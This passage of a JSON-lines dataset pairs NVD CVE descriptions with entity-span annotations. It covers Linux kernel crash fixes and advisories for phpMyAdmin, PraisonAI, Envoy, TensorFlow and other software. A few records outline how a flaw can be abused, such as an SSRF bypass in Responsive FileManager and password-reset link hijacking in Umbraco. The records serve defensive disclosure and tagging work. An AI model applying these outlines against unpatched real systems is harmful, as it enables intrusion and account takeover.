vmw_vsock_virtio_transport qxl irqbypass vmw_vsock_virtio_transport_common drm_ttm_helper crc32_pclmul joydev crc32c_intel ttm vsock virtio_scsi virtio_balloon snd_pcm drm_kms_helper virtio_console snd_timer snd drm soundcore syscopyarea i2c_i801 sysfillrect sysimgblt i2c_smbus pcspkr fb_sys_fops lpc_ich serio_raw\n[  102.792536] CR2: 00000000deadbeef\n[  102.792930] ---[ end trace 0000000000000000 ]---\n\nThis patch fixes the issue by checking also on DLM_LKF_VALBLK on exflags\nis set when copying the lvbptr array instead of if it's just null which\nfixes for me the issue.\n\nI think this patch can fix other dlm users as well, depending how they\nhandle the init, freeing memory handling of sb_lvbptr and don't set\nDLM_LKF_VALBLK for some dlm_lock() calls. It might a there could be a\nhidden issue all the time. However with checking on DLM_LKF_VALBLK the\nuser always need to provide a sb_lvbptr non-null value. There might be\nmore intelligent handling between per ls lvblen, DLM_LKF_VALBLK and\nnon-null to report the user the way how DLM API is used is wrong but can\nbe added for later, this will only fix the current behaviour.", "spans": {"FILEPATH: /01/2014": [[812, 820]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[753, 756]], "ORGANIZATION: Red Hat": [[745, 752]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50516"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm, shmem: prevent infinite loop on truncate race\n\nWhen truncating a large swap entry, shmem_free_swap() returns 0 when the\nentry's index doesn't match the given index due to lookup alignment.  The\nfailure fallback path checks if the entry crosses the end border and\naborts when it happens, so truncate won't erase an unexpected entry or\nrange.  But one scenario was ignored.\n\nWhen `index` points to the middle of a large swap entry, and the large\nswap entry doesn't go across the end border, find_get_entries() will\nreturn that large swap entry as the first item in the batch with\n`indices[0]` equal to `index`.  The entry's base index will be smaller\nthan `indices[0]`, so shmem_free_swap() will fail and return 0 due to the\n\"base < index\" check.  The code will then call shmem_confirm_swap(), get\nthe order, check if it crosses the END boundary (which it doesn't), and\nretry with the same index.\n\nThe next iteration will find the same entry again at the same index with\nsame indices, leading to an infinite loop.\n\nFix this by retrying with a round-down index, and abort if the index is\nsmaller than the truncate range.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: infinite loop": [[88, 101], [1070, 1083]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23177"}}
{"text": "In phpMyAdmin 4.x before 4.9.5 and 5.x before 5.0.2, a SQL injection vulnerability was discovered where malicious code could be used to trigger an XSS attack through retrieving and displaying results (in tbl_get_field.php and libraries/classes/Display/Results.php). The attacker must be able to insert crafted data into certain database tables, which when retrieved (for instance, through the Browse tab) can trigger the XSS attack.", "spans": {"FILEPATH: /classes/Display/Results.php": [[235, 263]], "FILEPATH: tbl_get_field.php": [[204, 221]], "ORGANIZATION: phpMyAdmin": [[3, 13]], "VULNERABILITY: SQL injection": [[55, 68]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10803"}}
{"text": "PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI automatically loads a file named tools.py from the current working directory to discover and register custom agent tools. This loading process uses importlib.util.spec_from_file_location and immediately executes module-level code via spec.loader.exec_module() without explicit user consent, validation, or sandboxing. The tools.py file is loaded implicitly, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named tools.py in the working directory is sufficient to trigger code execution. This behavior violates the expected security boundary between user-controlled project files (e.g., YAML configurations) and executable code, as untrusted content in the working directory is treated as trusted and executed automatically. If an attacker can place a malicious tools.py file into a directory where a user or automated system (e.g., CI/CD pipeline) runs praisonai, arbitrary code execution occurs immediately upon startup, before any agent logic begins.  This vulnerability is fixed in 4.5.128.", "spans": {"FILEPATH: tools.py": [[102, 110], [391, 399], [559, 567], [908, 916]], "VULNERABILITY: code execution": [[618, 632], [1021, 1035]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40156"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nudmabuf: Set the DMA mask for the udmabuf device (v2)\n\nIf the DMA mask is not set explicitly, the following warning occurs\nwhen the userspace tries to access the dma-buf via the CPU as\nreported by syzbot here:\n\nWARNING: CPU: 1 PID: 3595 at kernel/dma/mapping.c:188\n__dma_map_sg_attrs+0x181/0x1f0 kernel/dma/mapping.c:188\nModules linked in:\nCPU: 0 PID: 3595 Comm: syz-executor249 Not tainted\n5.17.0-rc2-syzkaller-00316-g0457e5153e0e #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS\nGoogle 01/01/2011\nRIP: 0010:__dma_map_sg_attrs+0x181/0x1f0 kernel/dma/mapping.c:188\nCode: 00 00 00 00 00 fc ff df 48 c1 e8 03 80 3c 10 00 75 71 4c 8b 3d c0\n83 b5 0d e9 db fe ff ff e8 b6 0f 13 00 0f 0b e8 af 0f 13 00 <0f> 0b 45\n   31 e4 e9 54 ff ff ff e8 a0 0f 13 00 49 8d 7f 50 48 b8 00\nRSP: 0018:ffffc90002a07d68 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: ffff88807e25e2c0 RSI: ffffffff81649e91 RDI: ffff88801b848408\nRBP: ffff88801b848000 R08: 0000000000000002 R09: ffff88801d86c74f\nR10: ffffffff81649d72 R11: 0000000000000001 R12: 0000000000000002\nR13: ffff88801d86c680 R14: 0000000000000001 R15: 0000000000000000\nFS:  0000555556e30300(0000) GS:ffff8880b9d00000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000200000cc CR3: 000000001d74a000 CR4: 00000000003506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n dma_map_sgtable+0x70/0xf0 kernel/dma/mapping.c:264\n get_sg_table.isra.0+0xe0/0x160 drivers/dma-buf/udmabuf.c:72\n begin_cpu_udmabuf+0x130/0x1d0 drivers/dma-buf/udmabuf.c:126\n dma_buf_begin_cpu_access+0xfd/0x1d0 drivers/dma-buf/dma-buf.c:1164\n dma_buf_ioctl+0x259/0x2b0 drivers/dma-buf/dma-buf.c:363\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:874 [inline]\n __se_sys_ioctl fs/ioctl.c:860 [inline]\n __x64_sys_ioctl+0x193/0x200 fs/ioctl.c:860\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f62fcf530f9\nCode: 28 c3 e8 2a 14 00 00 66 2e 0f 1f 84 00 00 00 00 00 48 89 f8 48 89\nf7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01\nf0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffe3edab9b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f62fcf530f9\nRDX: 0000000020000200 RSI: 0000000040086200 RDI: 0000000000000006\nRBP: 00007f62fcf170e0 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007f62fcf17170\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n </TASK>\n\nv2: Dont't forget to deregister if DMA mask setup fails.", "spans": {"FILEPATH: /dma/mapping.c": [[315, 329], [371, 385], [641, 655], [1615, 1629]], "FILEPATH: /01/2011": [[585, 593]], "FILEPATH: /dma-buf/udmabuf.c": [[1673, 1691], [1733, 1751]], "FILEPATH: /dma-buf/dma-buf.c": [[1800, 1818], [1858, 1876]], "FILEPATH: /x86/entry/common.c": [[2059, 2078], [2120, 2139]], "FILEPATH: ioctl.c": [[1895, 1902], [1934, 1941], [1974, 1981], [2027, 2034]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[519, 525], [526, 532], [548, 554], [576, 582]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49983"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Return CQE error if invalid lkey was supplied\n\nRXE is missing update of WQE status in LOCAL_WRITE failures.  This caused\nthe following kernel panic if someone sent an atomic operation with an\nexplicitly wrong lkey.\n\n[leonro@vm ~]$ mkt test\ntest_atomic_invalid_lkey (tests.test_atomic.AtomicTest) ...\n WARNING: CPU: 5 PID: 263 at drivers/infiniband/sw/rxe/rxe_comp.c:740 rxe_completer+0x1a6d/0x2e30 [rdma_rxe]\n Modules linked in: crc32_generic rdma_rxe ip6_udp_tunnel udp_tunnel rdma_ucm rdma_cm ib_umad ib_ipoib iw_cm ib_cm mlx5_ib ib_uverbs ib_core mlx5_core ptp pps_core\n CPU: 5 PID: 263 Comm: python3 Not tainted 5.13.0-rc1+ #2936\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n RIP: 0010:rxe_completer+0x1a6d/0x2e30 [rdma_rxe]\n Code: 03 0f 8e 65 0e 00 00 3b 93 10 06 00 00 0f 84 82 0a 00 00 4c 89 ff 4c 89 44 24 38 e8 2d 74 a9 e1 4c 8b 44 24 38 e9 1c f5 ff ff <0f> 0b e9 0c e8 ff ff b8 05 00 00 00 41 bf 05 00 00 00 e9 ab e7 ff\n RSP: 0018:ffff8880158af090 EFLAGS: 00010246\n RAX: 0000000000000000 RBX: ffff888016a78000 RCX: ffffffffa0cf1652\n RDX: 1ffff9200004b442 RSI: 0000000000000004 RDI: ffffc9000025a210\n RBP: dffffc0000000000 R08: 00000000ffffffea R09: ffff88801617740b\n R10: ffffed1002c2ee81 R11: 0000000000000007 R12: ffff88800f3b63e8\n R13: ffff888016a78008 R14: ffffc9000025a180 R15: 000000000000000c\n FS:  00007f88b622a740(0000) GS:ffff88806d540000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007f88b5a1fa10 CR3: 000000000d848004 CR4: 0000000000370ea0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  rxe_do_task+0x130/0x230 [rdma_rxe]\n  rxe_rcv+0xb11/0x1df0 [rdma_rxe]\n  rxe_loopback+0x157/0x1e0 [rdma_rxe]\n  rxe_responder+0x5532/0x7620 [rdma_rxe]\n  rxe_do_task+0x130/0x230 [rdma_rxe]\n  rxe_rcv+0x9c8/0x1df0 [rdma_rxe]\n  rxe_loopback+0x157/0x1e0 [rdma_rxe]\n  rxe_requester+0x1efd/0x58c0 [rdma_rxe]\n  rxe_do_task+0x130/0x230 [rdma_rxe]\n  rxe_post_send+0x998/0x1860 [rdma_rxe]\n  ib_uverbs_post_send+0xd5f/0x1220 [ib_uverbs]\n  ib_uverbs_write+0x847/0xc80 [ib_uverbs]\n  vfs_write+0x1c5/0x840\n  ksys_write+0x176/0x1d0\n  do_syscall_64+0x3f/0x80\n  entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[771, 815]], "FILEPATH: /infiniband/sw/rxe/rxe_comp.c": [[415, 444]], "FILEPATH: /01/2014": [[818, 826]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[729, 733]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47076"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/osnoise: Fix slab-out-of-bounds in _parse_integer_limit()\n\nWhen config osnoise cpus by write() syscall, the following KASAN splat may\nbe observed:\n\nBUG: KASAN: slab-out-of-bounds in _parse_integer_limit+0x103/0x130\nRead of size 1 at addr ffff88810121e3a1 by task test/447\nCPU: 1 UID: 0 PID: 447 Comm: test Not tainted 6.17.0-rc6-dirty #288 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x55/0x70\n print_report+0xcb/0x610\n kasan_report+0xb8/0xf0\n _parse_integer_limit+0x103/0x130\n bitmap_parselist+0x16d/0x6f0\n osnoise_cpus_write+0x116/0x2d0\n vfs_write+0x21e/0xcc0\n ksys_write+0xee/0x1c0\n do_syscall_64+0xa8/0x2a0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n </TASK>\n\nThis issue can be reproduced by below code:\n\nconst char *cpulist = \"1\";\nint fd=open(\"/sys/kernel/debug/tracing/osnoise/cpus\", O_WRONLY);\nwrite(fd, cpulist, strlen(cpulist));\n\nFunction bitmap_parselist() was called to parse cpulist, it require that\nthe parameter 'buf' must be terminated with a '\\0' or '\\n'. Fix this issue\nby adding a '\\0' to 'buf' in osnoise_cpus_write().", "spans": {"FILEPATH: /01/2014": [[507, 515]], "FILEPATH: /sys/kernel/debug/tracing/osnoise/cpus": [[916, 954]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[451, 455]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39974"}}
{"text": "Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions after Envoy sends a locally generated response it must stop further processing of request or response data. However when local response is generated due the internal buffer overflow while request or response is processed by the filter chain the operation may not be stopped completely and result in accessing a freed memory block. A specifically constructed request delivered by an untrusted downstream or upstream peer in the presence of extensions that modify and increase the size of request or response bodies resulting in a Denial of Service when using extensions that modify and increase the size of request or response bodies, such as decompressor filter. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes to address incomplete termination of request processing after locally generated response. As a workaround disable Envoy's decompressor, json-transcoder or grpc-web extensions or proprietary extensions that modify and increase the size of request or response bodies, if feasible.", "spans": {"VULNERABILITY: Denial of Service": [[663, 680]], "VULNERABILITY: buffer overflow": [[300, 315]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32781"}}
{"text": "upload.php in Responsive FileManager 9.13.4 and 9.14.0 allows SSRF via the url parameter because file-extension blocking is mishandled and because it is possible for a DNS hostname to resolve to an internal IP address. For example, an SSRF attempt may succeed if a .ico filename is added to the PATH_INFO. Also, an attacker could create a DNS hostname that resolves to the 0.0.0.0 IP address for DNS pinning. NOTE: this issue exists because of an incomplete fix for CVE-2018-14728.", "spans": {"CVE_ID: CVE-2018-14728": [[466, 480]], "IP_ADDRESS: 0.0.0.0": [[373, 380]], "FILEPATH: upload.php": [[0, 10]], "VULNERABILITY: SSRF": [[62, 66], [235, 239]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10212"}}
{"text": "Pax Technology PAXSTORE v7.0.8_20200511171508 and lower is affected by a token spoofing vulnerability. Each payment terminal has a session token (called X-Terminal-Token) to access the marketplace. This allows the store to identify the terminal and make available the applications distributed by its reseller. By intercepting HTTPS traffic from the application store, it is possible to collect the request responsible for assigning the X-Terminal-Token to the terminal, which makes it possible to craft an X-Terminal-Token pretending to be another device. An attacker can use this behavior to authenticate its own payment terminal in the application store through token impersonation.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36128"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mempool: fix poisoning order>0 pages with HIGHMEM\n\nThe kernel test has reported:\n\n  BUG: unable to handle page fault for address: fffba000\n  #PF: supervisor write access in kernel mode\n  #PF: error_code(0x0002) - not-present page\n  *pde = 03171067 *pte = 00000000\n  Oops: Oops: 0002 [#1]\n  CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Tainted: G                T   6.18.0-rc2-00031-gec7f31b2a2d3 #1 NONE  a1d066dfe789f54bc7645c7989957d2bdee593ca\n  Tainted: [T]=RANDSTRUCT\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n  EIP: memset (arch/x86/include/asm/string_32.h:168 arch/x86/lib/memcpy_32.c:17)\n  Code: a5 8b 4d f4 83 e1 03 74 02 f3 a4 83 c4 04 5e 5f 5d 2e e9 73 41 01 00 90 90 90 3e 8d 74 26 00 55 89 e5 57 56 89 c6 89 d0 89 f7 <f3> aa 89 f0 5e 5f 5d 2e e9 53 41 01 00 cc cc cc 55 89 e5 53 57 56\n  EAX: 0000006b EBX: 00000015 ECX: 001fefff EDX: 0000006b\n  ESI: fffb9000 EDI: fffba000 EBP: c611fbf0 ESP: c611fbe8\n  DS: 007b ES: 007b FS: 0000 GS: 0000 SS: 0068 EFLAGS: 00010287\n  CR0: 80050033 CR2: fffba000 CR3: 0316e000 CR4: 00040690\n  Call Trace:\n   poison_element (mm/mempool.c:83 mm/mempool.c:102)\n   mempool_init_node (mm/mempool.c:142 mm/mempool.c:226)\n   mempool_init_noprof (mm/mempool.c:250 (discriminator 1))\n   ? mempool_alloc_pages (mm/mempool.c:640)\n   bio_integrity_initfn (block/bio-integrity.c:483 (discriminator 8))\n   ? mempool_alloc_pages (mm/mempool.c:640)\n   do_one_initcall (init/main.c:1283)\n\nChristoph found out this is due to the poisoning code not dealing\nproperly with CONFIG_HIGHMEM because only the first page is mapped but\nthen the whole potentially high-order page is accessed.\n\nWe could give up on HIGHMEM here, but it's straightforward to fix this\nwith a loop that's mapping, poisoning or checking and unmapping\nindividual pages.", "spans": {"HASH: a1d066dfe789f54bc7645c7989957d2bdee593ca": [[469, 509]], "FILEPATH: /01/2014": [[623, 631]], "FILEPATH: /x86/include/asm/string_32.h": [[651, 679]], "FILEPATH: /x86/lib/memcpy_32.c": [[688, 708]], "FILEPATH: mempool.c": [[1189, 1198], [1205, 1214], [1245, 1254], [1262, 1271], [1304, 1313], [1366, 1375], [1480, 1489]], "FILEPATH: integrity.c": [[1416, 1427]], "FILEPATH: main.c": [[1520, 1526]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[553, 557]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68231"}}
{"text": "This is a concurrency issue that can result in the wrong caller principal being returned from the session context of an EJB that is configured with a RunAs principal. In particular, the org.jboss.as.ejb3.component.EJBComponent class has an incomingRunAsIdentity field. This field is used by the org.jboss.as.ejb3.security.RunAsPrincipalInterceptor to keep track of the current identity prior to switching to a new identity created using the RunAs principal. The exploit consist that the EJBComponent#incomingRunAsIdentity field is currently just a SecurityIdentity. This means in a concurrent environment, where multiple users are repeatedly invoking an EJB that is configured with a RunAs principal, it's possible for the wrong the caller principal to be returned from EJBComponent#getCallerPrincipal. Similarly, it's also possible for EJBComponent#isCallerInRole to return the wrong value. Both of these methods rely on incomingRunAsIdentity. Affects all versions of JBoss EAP from 7.1.0 and all versions of WildFly 11+ when Elytron is enabled.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-0866"}}
{"text": "A vulnerability has been identified in SIMATIC PCS neo V4.1 (All versions), SIMATIC PCS neo V5.0 (All versions), SIMATIC PCS neo V6.0 (All versions), SIMATIC S7-PLCSIM V17 (All versions), SIMATIC STEP 7 V17 (All versions < V17 Update 9), SIMATIC STEP 7 V18 (All versions), SIMATIC STEP 7 V19 (All versions < V19 Update 4), SIMATIC STEP 7 V20 (All versions < V20 Update 4), SIMATIC WinCC V17 (All versions < V17 Update 9), SIMATIC WinCC V18 (All versions), SIMATIC WinCC V19 (All versions < V19 Update 4), SIMATIC WinCC V20 (All versions < V20 Update 4), SIMOCODE ES V17 (All versions), SIMOCODE ES V18 (All versions), SIMOCODE ES V19 (All versions), SIMOCODE ES V20 (All versions), SIMOTION SCOUT TIA V5.4 (All versions), SIMOTION SCOUT TIA V5.5 (All versions), SIMOTION SCOUT TIA V5.6 (All versions < V5.6 SP1 HF7), SIMOTION SCOUT TIA V5.7 (All versions), SINAMICS Startdrive V17 (All versions), SINAMICS Startdrive V18 (All versions), SINAMICS Startdrive V19 (All versions), SINAMICS Startdrive V20 (All versions), SIRIUS Safety ES V17 (TIA Portal) (All versions), SIRIUS Safety ES V18 (TIA Portal) (All versions), SIRIUS Safety ES V19 (TIA Portal) (All versions), SIRIUS Safety ES V20 (TIA Portal) (All versions), SIRIUS Soft Starter ES V17 (TIA Portal) (All versions), SIRIUS Soft Starter ES V18 (TIA Portal) (All versions), SIRIUS Soft Starter ES V19 (TIA Portal) (All versions), SIRIUS Soft Starter ES V20 (TIA Portal) (All versions), TIA Portal Cloud V17 (All versions), TIA Portal Cloud V18 (All versions), TIA Portal Cloud V19 (All versions < V5.2.1.1), TIA Portal Cloud V20 (All versions < V5.2.2.2), TIA Portal Test Suite V20 (All versions < V20 Update 4). Affected products do not properly sanitize Interprocess Communication input received through a Windows Named Pipe accessible to all local users. This could allow an authenticated local attacker to cause a type confusion and execute arbitrary code within the affected application.", "spans": {"SYSTEM: Windows": [[1763, 1770]], "VULNERABILITY: type confusion": [[1873, 1887]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-54678"}}
{"text": "Within the Umbraco CMS, a configuration element named \"UmbracoApplicationUrl\" (or just \"ApplicationUrl\") is used whenever application code needs to build a URL pointing back to the site. For example, when a user resets their password and the application builds a password reset URL or when the administrator invites users to the site. For Umbraco versions less than 9.2.0, if the Application URL is not specifically configured, the attacker can manipulate this value and store it persistently affecting all users for components where the \"UmbracoApplicationUrl\" is used. For example, the attacker is able to change the URL users receive when resetting their password so that it points to the attackers server, when the user follows this link the reset token can be intercepted by the attacker resulting in account takeover.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22690"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. If the `splits` argument of `RaggedBincount` does not specify a valid `SparseTensor`(https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow. This will cause a read from outside the bounds of the `splits` tensor buffer in the implementation of the `RaggedBincount` op(https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L433). Before the `for` loop, `batch_idx` is set to 0. The user controls the `splits` array, making it contain only one element, 0. Thus, the code in the `while` loop would increment `batch_idx` and then try to read `splits(1)`, which is outside of bounds. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.", "spans": {"URL: https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor": [[156, 221]], "URL: https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L433": [[403, 538]], "VULNERABILITY: buffer overflow": [[260, 275]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29512"}}
{"text": "snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.\n\nThe code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.\n\nIn the case that the `compressed` variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the `chunkSize` variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a `java.lang.NegativeArraySizeException` exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal `java.lang.OutOfMemoryError` error.\n\nVersion 1.1.10.1 contains a patch for this issue.", "spans": {"IP_ADDRESS: 1.1.10.1": [[157, 165], [1003, 1011]], "FILEPATH: fileSnappyInputStream.java": [[213, 239]], "SYSTEM: Java": [[50, 54]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34455"}}
{"text": "cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can inject headers named REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT that are parsed into the request header multimap via read_headers() in httplib.h (headers.emplace), then the server later appends its own internal metadata using the same header names in Server::process_request without erasing duplicates. Because Request::get_header_value returns the first entry for a header key (id == 0) and the client-supplied headers are parsed before server-inserted headers, downstream code that uses these header names may inadvertently use attacker-controlled values. Affected files/locations: cpp-httplib/httplib.h (read_headers, Server::process_request, Request::get_header_value, get_header_value_u64) and cpp-httplib/docker/main.cc (get_client_ip, nginx_access_logger, nginx_error_logger). Attack surface: attacker-controlled HTTP headers in incoming requests flow into the Request.headers multimap and into logging code that reads forwarded headers, enabling IP spoofing, log poisoning, and authorization bypass via header shadowing. This vulnerability is fixed in 0.27.0.", "spans": {"FILEPATH: /docker/main.cc": [[963, 978]], "FILEPATH: httplib.h": [[388, 397], [849, 858]], "VULNERABILITY: authorization bypass": [[1239, 1259]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-66570"}}
{"text": "In affected versions of TensorFlow under certain cases, loading a saved model can result in accessing uninitialized memory while building the computation graph. The MakeEdge function creates an edge between one output tensor of the src node (given by output_index) and the input slot of the dst node (given by input_index). This is only possible if the types of the tensors on both sides coincide, so the function begins by obtaining the corresponding DataType values and comparing these for equality. However, there is no check that the indices point to inside of the arrays they index into. Thus, this can result in accessing data out of bounds of the corresponding heap allocated arrays. In most scenarios, this can manifest as unitialized data access, but if the index points far away from the boundaries of the arrays this can be used to leak addresses from the library. This is fixed in versions 1.15.5, 2.0.4, 2.1.3, 2.2.2, 2.3.2, and 2.4.0.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26271"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Fix command flush on cable pull\n\nSystem crash due to command failed to flush back to SCSI layer.\n\n BUG: unable to handle kernel NULL pointer dereference at 0000000000000000\n PGD 0 P4D 0\n Oops: 0000 [#1] SMP NOPTI\n CPU: 27 PID: 793455 Comm: kworker/u130:6 Kdump: loaded Tainted: G           OE    --------- -  - 4.18.0-372.9.1.el8.x86_64 #1\n Hardware name: HPE ProLiant DL360 Gen10/ProLiant DL360 Gen10, BIOS U32 09/03/2021\n Workqueue: nvme-wq nvme_fc_connect_ctrl_work [nvme_fc]\n RIP: 0010:__wake_up_common+0x4c/0x190\n Code: 24 10 4d 85 c9 74 0a 41 f6 01 04 0f 85 9d 00 00 00 48 8b 43 08 48 83 c3 08 4c 8d 48 e8 49 8d 41 18 48 39 c3 0f 84 f0 00 00 00 <49> 8b 41 18 89 54 24 08 31 ed 4c 8d 70 e8 45 8b 29 41 f6 c5 04 75\n RSP: 0018:ffff95f3e0cb7cd0 EFLAGS: 00010086\n RAX: 0000000000000000 RBX: ffff8b08d3b26328 RCX: 0000000000000000\n RDX: 0000000000000001 RSI: 0000000000000003 RDI: ffff8b08d3b26320\n RBP: 0000000000000001 R08: 0000000000000000 R09: ffffffffffffffe8\n R10: 0000000000000000 R11: ffff95f3e0cb7a60 R12: ffff95f3e0cb7d20\n R13: 0000000000000003 R14: 0000000000000000 R15: 0000000000000000\n FS:  0000000000000000(0000) GS:ffff8b2fdf6c0000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000000 CR3: 0000002f1e410002 CR4: 00000000007706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n PKRU: 55555554\n Call Trace:\n  __wake_up_common_lock+0x7c/0xc0\n  qla_nvme_ls_req+0x355/0x4c0 [qla2xxx]\n qla2xxx [0000:12:00.1]-f084:3: qlt_free_session_done: se_sess 0000000000000000 / sess ffff8ae1407ca000 from port 21:32:00:02:ac:07:ee:b8 loop_id 0x02 s_id 01:02:00 logout 1 keep 0 els_logo 0\n ? __nvme_fc_send_ls_req+0x260/0x380 [nvme_fc]\n qla2xxx [0000:12:00.1]-207d:3: FCPort 21:32:00:02:ac:07:ee:b8 state transitioned from ONLINE to LOST - portid=010200.\n  ? nvme_fc_send_ls_req.constprop.42+0x1a/0x45 [nvme_fc]\n qla2xxx [0000:12:00.1]-2109:3: qla2x00_schedule_rport_del 21320002ac07eeb8. rport ffff8ae598122000 roles 1\n ? nvme_fc_connect_ctrl_work.cold.63+0x1e3/0xa7d [nvme_fc]\n qla2xxx [0000:12:00.1]-f084:3: qlt_free_session_done: se_sess 0000000000000000 / sess ffff8ae14801e000 from port 21:32:01:02:ad:f7:ee:b8 loop_id 0x04 s_id 01:02:01 logout 1 keep 0 els_logo 0\n  ? __switch_to+0x10c/0x450\n ? process_one_work+0x1a7/0x360\n qla2xxx [0000:12:00.1]-207d:3: FCPort 21:32:01:02:ad:f7:ee:b8 state transitioned from ONLINE to LOST - portid=010201.\n  ? worker_thread+0x1ce/0x390\n  ? create_worker+0x1a0/0x1a0\n qla2xxx [0000:12:00.1]-2109:3: qla2x00_schedule_rport_del 21320102adf7eeb8. rport ffff8ae3b2312800 roles 70\n  ? kthread+0x10a/0x120\n qla2xxx [0000:12:00.1]-2112:3: qla_nvme_unregister_remote_port: unregister remoteport on ffff8ae14801e000 21320102adf7eeb8\n  ? set_kthread_struct+0x40/0x40\n qla2xxx [0000:12:00.1]-2110:3: remoteport_delete of ffff8ae14801e000 21320102adf7eeb8 completed.\n  ? ret_from_fork+0x1f/0x40\n qla2xxx [0000:12:00.1]-f086:3: qlt_free_session_done: waiting for sess ffff8ae14801e000 logout\n\nThe system was under memory stress where driver was not able to allocate 